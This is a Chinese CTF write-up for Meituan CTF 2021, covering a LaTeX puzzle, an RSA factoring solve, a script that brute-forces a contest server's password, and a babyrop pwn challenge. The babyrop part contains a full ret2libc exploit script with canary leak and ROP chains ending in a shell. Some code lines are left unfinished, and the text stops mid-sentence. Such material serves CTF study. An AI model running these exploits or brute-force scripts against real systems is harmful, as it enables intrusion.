

20211211-美团CTF2021-Crypto方向&&Pwn方向部分WP

原创

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1 篇文章 1 订阅

订阅专栏

美团

Symbol

$$b \lambda \alpha \gamma \{ \forall \uplus \nu _ \Lambda \alpha T \epsilon \Xi _ M \approx \triangleleft \bar{h} \}$$

$$b \lambda \alpha \gamma \{ \forall \uplus \nu _ \Lambda \alpha T \epsilon \Xi _ M \approx \triangleleft \bar{h} \}$$

$$\flat \backslash \lambda \alpha \gamma \{ \forall \uplus \nu _ \Lambda \alpha T \epsilon \Xi _ M \approx \triangleleft \bar{h} \}$$

我超, 发现了不得了的东西

```
flag{fun_LaTeX_Math}
```

```
from hashlib import md5
```

```
pl = b'fun_LaTeX_Math'  
print(f'flag{{{md5(pl).digest().hex()}}}')  
flag{e1b217dc3b5e90b237b45e0a636e5a86}
```

```
flag{e1b217dc3b5e90b237b45e0a636e5a86}
```

Romeo's Encrypting Machine

是这样的

这道题主要考我们爆破, 目标密码长度为8, 范围是100个可打印字符, 每次nc连上有100s的时间

要知晓一个关键的地方, 就是如果猜对前面所有的字符(还不满8个), 程序就不会动了, 因为服务端会报下标越界的错导致程序退出

```
will > /mnt/d/4XWi11/N/c/1/romeo > on master +4 17 73
python3 task.py
HOST:POST 0.0.0.0:9999
95
71
46
53
126
49
115
-----
Exception happened during processing of request from ('127.0.0.1', 61423)
Traceback (most recent call last):
  File "/usr/lib/python3.6/socketserver.py", line 620, in process_request
    self.finish_request(request, client_address)
  File "/usr/lib/python3.6/socketserver.py", line 364, in finish_request
    self.RequestHandlerClass(request, client_address, self)
  File "/usr/lib/python3.6/socketserver.py", line 724, in __init__
    self.handle()
  File "task.py", line 72, in handle
    _, final_check = self.login()
  File "task.py", line 44, in login
    print(str1[i])
IndexError: index out of range
-----
```

而在客户端的现象是：没有任何现象

```
will > /
> nc 127.0.0.1 9999
[~]Please input your password:
#G.5~1s
```

其他的情况程序则会返回一个 `False!` 并继续让你输入

```
will > /mnt/d/4XWi11/N/c/1/romeo > on master
> nc 127.0.0.1 9999
[~]Please input your password:
#G.5~1r
False!
[~]Please input your password:
```

此外有一个循环会占用很多时间

```
check = b"
for i in range(0x2000):
    check = self.aes.encrypt(padding(check[:-1] + str1[i+1]))
```

也有一个判断可以在前面的check过之后加速后面的check（跳过上面的循环

```
if right_num > true_num:
    continue
else:
    right_num = true_num
```

所以，一种完全自动化脚本的编写思路就是依序爆破 `printable`，到100s主动掐掉，下次再从没爆完的地方（包括之前一次已经开始爆但没有回显的）开始继续爆，直到在某一次一次连接只爆破一位，还没有任何回显的，那应该就是正确的

不过比赛的时候太急了，不知道是不是一个靶机同时连多个会影响速度，还是那边网速的原因（出现了send过去之后没有任何回显，结果另外一次又 **False!** 的情况，崩溃~，本地跑就贼快），总之半自动化脚本（开始可以一次10个，后面就差不多一次3个）加上最后基本上全手爆了

```
#!/usr/bin/env python3
# coding: utf-8
from pwn import *
from tqdm import tqdm
from string import printable

context.log_level = 'debug'

class Solve():
    def __init__(self):
        self.sh = remote('123.57.132.168', 15906)
        self.ru = lambda s: self.sh.recvuntil(s)
        self.sl = lambda s: self.sh.sendline(s)
        self.rl = lambda: self.sh.recvline()
        self.pwd = '#G.5~1'

    def solve(self):
        index_l =
        index_r =
        while 1:
            for i in tqdm(list(printable[index_l:index_r])):
                t = self.pwd + i
                self.rl() # [~]Please input your password:
                self.sl(t.encode())
                feedback = self.rl() # False!
                if b'False!' in feedback:
                    continue
            self.sh.close()
            self.sh = remote('123.57.132.168', 15906)
            index_l +=
            index_r +=

if __name__ == '__main__':
    solution = Solve()
    solution.solve()
```

得到密码是 **#G.5~1ss**

```
flag{c7f37603-7ad2-4d52-8a56-7c92c74dff97}
```

赛后重新写下代码

```

#!/usr/bin/env python3
# coding: utf-8
from pwn import *
from tqdm import tqdm
from string import printable
import time
import sys

context.log_level = 'debug'
table = printable
length = len(printable)

sh = remote('127.0.0.1', 9999)
sh.close()
sl = lambda s: sh.sendline(s)
rl = lambda: sh.recvline()

pwd = ""
t = pwd
index = 0
i = 0
tip = 1

start_time = time.time()
for _ in range(8):
    while 1:
        sh = remote('127.0.0.1', 9999)
        tip = 1
        try:
            signal.alarm(105)
            for i in tqdm(range(index, length)):
                t = pwd + table[i]
                rl()
                sl(t.encode())
                feedback = rl()
                if b'False!' in feedback:
                    tip = 0
                    continue
                elif b'Success' in feedback:
                    pwd = t
                    tip = 1
                    assert 1 == 0
            signal.alarm(0)
        except:
            sh.close()
            if tip:
                pwd = t
                if len(pwd) == 8:
                    end_time = time.time()
                    print(f"plz do not waste my time\nyou should pay me: {end_time - start_time}s")
                    rl()
                    rl()
                    sys.exit(0)
                index = 0
                break
            else:
                index = i
                sh.close()
                continue

```



```
[DEBUG] Received 0x26 bytes:
b'False!\n'
b'[~]Please input your password:\n'
28%|
[DEBUG] Sent 0x9 bytes:
b'#G.5~1ss\n'
[DEBUG] Received 0xe bytes:
b'Login Success!\n'
[DEBUG] Received 0x40 bytes:
b'Good Morning Master!\n'
b'flag{c7f37603-7ad2-4d52-8a56-7c92c74dff97}\n'
28%|
[*] Closed connection to 127.0.0.1 port 9999
plz do not waste my time
you should pay me: 369.0124876499176s
< will > /mnt/d/4Xwi11/Natal > on P master +4 !7 ?3
>
```

最后最后，此代码依旧不够健硕，因为遇到关键的网络问题无法滚回去，无法判断当前这个是因为对方或己方网络问题导致100s之后没有回显，还是真的没有回显（当然就算是手动爆破了也很难甄别WTF

hamburgerRSA

题目很短，核心代码如下，p和q都是

```
PP = int(str(p) + str(p) + str(q) + str(q))
QQ = int(str(q) + str(q) + str(p) + str(p))
n = PP * QQ
```

之前有类似的

<https://4xwi11.github.io/posts/493b5ffc/#Crypto-babyrsa>

注意是十进制，在二进制位上操作就错了

首先因为一些众所周知的原因：

- 64位的p和q十进制要么是20位，要么是19位
- 十进制20位和20位相乘得到的结果要么是十进制40位，要么是39位
- $N=pq$ ，N的前x位等于p的前y位乘以q的前y位，x略小于y一位或两位十进制位
- 同理 $N=pq$ ，N的后x位等于p的后y位乘以q的后y位，x略小于y一位或两位十进制位

（我随便搞几组同等大小的数据出来的结果，没有去搜严格的数学证明，可能是不准确的，但可以反映一定程度的现象

所以这里有n，我们可以知道n的前18位 177269125756508652 就是p和q相乘结果的前面，n的后18位 742722231922451193 同理，所以要爆破3~4位，再通过sage的factor函数来验证（保险点前后17位也不是不行

```
part1 = '177269125756508652'
part2 = '742722231922451193'
for part_mid in range(1000):
    ans = part1 + str(part_mid).rjust(3, '0') + part2
    ans = factor(int(ans))
    if len(ans) == 2 and ans[0][0].nbits() == 64:
        print(ans)
```

```

sage: part1 = '177269125756508652'
....: part2 = '742722231922451193'
....: for part_mid in range(1000):
....:     ans = part1 + str(part_mid).rjust(3, '0') + part2
....:     ans = factor(int(ans))
....:     if len(ans) == 2 and ans[0][0].nbits() == 64:
....:         print(ans)
....:
9788542938580474429 * 18109858317913867117

```

大概率就是正确接过来，最后是exp

```

from Crypto.Util.number import *
from gmpy2 import invert

```

```

n = 1772691257565086525462423260651384029715427511124233260338808628688221642344522807381702455897984740330474609
20552550018968571267978283756742722231922451193
c = 4771802260132454339907839595709508375320163133280894940692709158904483755646930080772848403558144796095460354
0348152501053100067139486887367207461593404096

```

```

p = 9788542938580474429
q = 18109858317913867117
PP = int(str(p) + str(p) + str(q) + str(q))
QQ = int(str(q) + str(q) + str(p) + str(p))
print(long_to_bytes(pow(c, invert(0x10001, n-PP-QQ+1), PP*QQ)))

```

```
flag{f8d8bfa5-6c7f-14cb-908b-abc1e96946c6}
```

所以何必求小根

babyrop

栈，挺考验综合性的，这次

- 会用 `gdb.attach`
- 多看看栈说不定发现宝藏

题目描述

提供了libc-2.27.so

程序较短

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int i; // [rsp+0h] [rbp-30h]
4     char *pwd; // [rsp+8h] [rbp-28h] BYREF
5     char name[24]; // [rsp+10h] [rbp-20h] BYREF
6     unsigned __int64 v7; // [rsp+28h] [rbp-8h]
7
8     v7 = __readfsqword(0x28u);
9     setvbuf(stdin, 0LL, 2, 0LL);
10    setvbuf(_bss_start, 0LL, 2, 0LL);
11    puts("What your name? ");
12    for ( i = 0; i <= 24; ++i )
13    {
14        if ( read(0, &name[i], 1uLL) != 1 || name[i] == '\n' )
15        {
16            name[i] = 0;
17            break;
18        }
19    }
20
21    printf("Hello, %s, welcome to this challenge!\n", name);
22    puts("Please input the passwd to unlock this challenge");
23    __isoc99_scanf("%lld", &pwd);
24    if ( pwd == aPassword )
25    {
26        puts("OK!\nNow, you can input your message");
27        vuln();
28        puts("we will reply soon");
29    }
}
```


保护除了pie全开

```
wi11 ~/4xc/M/babyrop
checksec babyrop
[*] '/home/wi11/4xchallenges/MT2021/babyrop/babyrop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```


没有现成的 `system` 和 `/bin/sh`，那就 `ret2libc`，通过泄漏libc的基址来找 `system` 和 `/bin/sh`，应该不是栈迁移（？

`vuln` 函数里会有栈溢出，溢出48刚好到返回地址，并且可以利用父函数main的栈帧（第5点细说

```
1 unsigned __int64 vuln()
2 {
3     char buf[24]; // [rsp+0h] [rbp-20h] BYREF
4     unsigned __int64 v2; // [rsp+18h] [rbp-8h]
5
6     v2 = __readfsqword(0x28u);
7     read(0, buf, 48uLL);
8     return __readfsqword(0x28u) ^ v2;
9 }
```

可能用到的几个gadget



解题思路

1. 泄漏canary
- ⇒ 2. 栈溢出跳转重新执行main函数
- ⇒ 3. 在name上构造ROP实现 `puts(read_got)`
- ⇒ 4. 栈溢出跳转到name执行ROP链
- ⇒ 5. 接收得到read真实地址算出libc基址并栈溢出跳转重新执行main函数
- ⇒ 6. 在name上构造ROP实现 `system("/bin/sh")`



7. 栈溢出跳转到name执行ROP链

1. 泄漏 canary

这个比较简单，可以输入25个字符，但是题目故意不让用换行 `0A` 来填充，换一个字符就好

```
for ( i = 0; i <= 24; ++i )
{
    if ( read(0, &name[i], 1uLL) != 1 || name[i] == '\n' )
    {
        name[i] = 0;
        break;
    }
}
```

用IDA远程动调就很容易证明canary就紧跟在24长的name之后



2. 栈溢出跳转重新执行main函数

因为 `libc-2.27.so` 的一些 `bin`，第一次返回要返回到 `0x40075C`，第二次则是返回到 `0x40075B`，可以多试几遍

```

xt:0000000040075B var_8 = qword ptr -8
xt:0000000040075B
xt:0000000040075B ; __unwind {
xt:0000000040075B push rbp
xt:0000000040075C mov rbp, rsp
xt:0000000040075F sub rsp, 30h
xt:00000000400763 mov rax, fs:28h
xt:0000000040076C mov [rbp+var_8], rax
xt:00000000400770 xor eax, eax
xt:00000000400772 mov rax, cs:stdin@@GLIBC_2_2_5
xt:00000000400779 mov ecx, 0 ; n
xt:0000000040077E mov edx, 2 ; modes

```

3. 构造ROP实现 puts(read_got)

64位用寄存器传参没什么好说的，read 最好用 send，这里结尾多加1字符变成25个字符

4. 栈溢出跳转到name执行ROP链

注意，这里本来不会的，要用到

在name构造ROP之后，我们肯定想控制返回地址到这上去执行是吧，于是乎在这里打个断点，溢出还是继续溢出，返回地址先空着

```

# gdb.attach(io)
# pause()
sd(payload2)

# 3. start from beginning & puts(read)

payload3 = p64(pop_rdi_ret) + p64(elf.got["read"]) + p64(puts_addr) + b'1'
# gdb.attach(io)
# pause()
sd(payload3)
sa(b" unlock this challenge\n", show_me_pwd)

# 4. ret2 name

payload4 = b'A' * 24 + p64(canary) + p64(0)
gdb.attach(io)
pause()
sd(payload4)

```

单步执行直到 vul 的 ret

```

> 0x40075a <vuln+67> ret <0x40087d; main+290>

```

仔细查看下栈，发现宝藏了，vul 返回到 main 之后距离我们构造的ROP只有16个字节，结合我们之前的可以pop两个寄存器的 gadget pop r14; pop r15; ret，就可以来到我们的 name

```

pwndbg> stack 24
00:0000 rsp 0x7ffd9d439f38 → 0x40087d (main+290) ← lea rdi, [rip + 0x158] ← vul返回main地址
01:0008 0x7ffd9d439f40 ← 0x100000019
02:0010 0x7ffd9d439f48 → 0x4009ae ← jo 0x400a11 /* 'password' */ ← main函数栈帧遗留的东西
03:0018 0x7ffd9d439f50 → 0x400913 (__libc_csu_init+99) ← pop rdi
04:0020 0x7ffd9d439f58 → 0x600fd8 (_GLOBAL_OFFSET_TABLE_+48) → 0x7fe297cb5140 (read) ← lea rax, [rip + 0x2e0891] ←
05:0028 0x7ffd9d439f60 → 0x40088e (main+275) ← call 0x4005d0 ← 我们构造的ROP puts(read)
06:0030 0x7ffd9d439f68 ← 0x62a87de606aa7831
07:0038 0x7ffd9d439f70 ← 0x100000019
08:0040 0x7ffd9d439f78 → 0x4009ae ← jo 0x400a11 /* 'password' */
09:0048 0x7ffd9d439f80 ← 0x4141414141414141 ('AAAAAAA')
0a:0050 0x7ffd9d439f88 ← 0x4141414141414141 ('AAAAAAA')
0b:0058 0x7ffd9d439f90 ← 0x4242424242424242 ('BBBBBBB')
0c:0060 0x7ffd9d439f98 ← 0x62a87de606aa7831
0d:0068 0x7ffd9d439fa0 → 0x4008b0 (__libc_csu_init) ← push r15
0e:0070 0x7ffd9d439fa8 → 0x7fe297bc6bf7 (__libc_start_main+231) ← mov edi, eax ← main函数栈帧遗留的其他东西
0f:0078 0x7ffd9d439fb0 ← 0x1
10:0080 0x7ffd9d439fb8 → 0x7ffd9d43a088 → 0x7ffd9d43c267 ← './babyrop'
11:0088 0x7ffd9d439fc0 ← 0x100008000
12:0090 0x7ffd9d439fc8 → 0x40075b (main) ← push rbp
13:0098 0x7ffd9d439fd0 ← 0x0
14:00a0 0x7ffd9d439fd8 ← 0xe8bc41831d3f6f78
15:00a8 0x7ffd9d439fe0 → 0x400630 (_start) ← xor ebp, ebp
16:00b0 0x7ffd9d439fe8 → 0x7ffd9d43a080 ← 0x1
17:00b8 0x7ffd9d439ff0 ← 0x0
pwndbg>

```

最后这里贴张图致敬谢师傅Anza大哥，帮我速成pwn

```

00:0000 | rsi rsp 0x7fffe149f1b0 ← 0x6161616161616161 ('aaaaaaaa')
... ↓
03:0018 | 0x7fffe149f1c8 ← 0xc1eae87af5a4300
04:0020 | rbp 0x7fffe149f1d0 ← 0x0 pop r14, pop r15, ret 把蓝色弹出去, 返回到main的v6[24]上
05:0028 | 0x7fffe149f1d8 → 0x400916 (__libc_csu_init+96) ← pop r14
06:0030 | 0x7fffe149f1e0 ← 0x100000019
07:0038 | 0x7fffe149f1e8 → 0x4009ae ← jo 0x400a11 /* 'password' */
08:0040 | 0x7fffe149f1f0 → 0x400913 (__libc_csu_init+99) ← pop rdi
09:0048 | 0x7fffe149f1f8 → 0x600fd8 (_GLOBAL_OFFSET_TABLE_+48) → 0x7f0c18f9b350 (read)
mp dword ptr [rip + 0x2d23e9], 0
0a:0050 | 0x7fffe149f200 → 0x400837 (main+220) ← call 0x4005d0 main的v6[24]
0b:0058 | 0x7fffe149f208 ← 0xc1eae87af5a4300
0c:0060 | 0x7fffe149f210 ← 0x100000019
0d:0068 | 0x7fffe149f218 → 0x4009ae ← jo 0x400a11 /* 'password' */
0e:0070 | 0x7fffe149f220 ← 0x6161616161616161 ('aaaaaaaa')

```

5. 计算libc基址并栈溢出跳转重新执行main函数

计算基址是基操，上文已经构造好了输出 `read` 函数真实地址的ROP链，接收一下就好了，以 `\xf7` 为标志

64位的libc地址开头都是 `\xf7`，32位的都是 `\xf7f`

之后正如上文所说的跳转到 `0x40075B`

6. 构造ROP实现 `system("/bin/sh")`

dddd

7. 栈溢出跳转到name执行ROP链

同上

完整的exp

```

from pwn import *

context.arch = "amd64"
# context.log_level = 'debug'

io = process("./babyrop")

```

```

elf = ELF("babyrop")
libc = ELF("libc-2.27.so")
# io = remote("123.56.122.14", 24091)

ru = lambda s : io.recvuntil(s)
sl = lambda s : io.sendline(s)
sd = lambda s : io.send(s)
rv = lambda s : io.recv(s)
sa = lambda r, s : io.sendlineafter(r, s)
rl = lambda : io.recvline()

show_me_pwd = b"4196782"
main1_addr = 0x40075C
main2_addr = 0x40075B
puts_addr = 0x40086E
pop_rdi_ret = 0x400913
pop_r14_r15_ret = 0x400910

# 1. leak canary

payload1 = b'A' * 16 + b'B' * 8 + b'1'
sd(payload1)
# gdb.attach(io)
# pause()

ru(b'B' * 8)
canary = u64(rv(8))- 0x31

success("canary ==> " + hex(canary))

sa(b" unlock this challenge\n", show_me_pwd)

# 2. ret2 main_mov_rbp_rsp

payload2 = b'A' * 24 + p64(canary) + p64(0) + p64(main1_addr)
# gdb.attach(io)
# pause()
sd(payload2)

# 3. start from beginning & puts(read)

payload3 = p64(pop_rdi_ret) + p64(elf.got["read"]) + p64(puts_addr) + b'1'
# gdb.attach(io)
# pause()
sd(payload3)
sa(b" unlock this challenge\n", show_me_pwd)

# 4. ret2 name

payload4 = b'A' * 24 + p64(canary) + p64(0) + p64(pop_r14_r15_ret)
# gdb.attach(io)
# pause()
sd(payload4)

# 5. leak libc_base & ret2 main_push_ebp
read_addr = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = read_addr - libc.sym["read"]
system_addr = libc_base + libc.sym["system"]
bin_sh_addr = libc_base + next(libc.search('/bin/sh\x00'.encode()))

```

```

success("libc_base ==> " + hex(libc_base))
success("system_addr ==> " + hex(system_addr))
success("bin_sh_addr ==> " + hex(bin_sh_addr))

payload5 = b'A' * 24 + p64(canary) + p64(0) + p64(main2_addr)
sd(payload5)

# 6. start from beginning & system("/bin/sh")
payload6 = p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) + b'1'
sd(payload6)
sa(b" unlock this challenge\n", show_me_pwd)

# 7. ret2 name & get shell

payload7 = b'A' * 24 + p64(canary) + p64(0) + p64(pop_r14_r15_ret)
sd(payload7)

io.interactive()

```

```

wi11 ~/4xc/M/babyrop
python3 exp.py
[+] Starting local process './babyrop': pid 7890
[*] '/home/wi11/4xchallenges/MT2021/babyrop/babyrop'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/wi11/4xchallenges/MT2021/babyrop/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] canary ==> 0x5e4b407f66d11c00
[+] libc_base ==> 0x7fedc748f000
[+] system_addr ==> 0x7fedc74de550
[+] bin_sh_addr ==> 0x7fedc7642e1a
[*] Switching to interactive mode
OK!
Now, you can input your message
$ id
uid=1000(wi11) gid=1000(wi11) 组=1000(wi11),4(adm),24(cdrom),126(sambashare)
$

```

到这里我

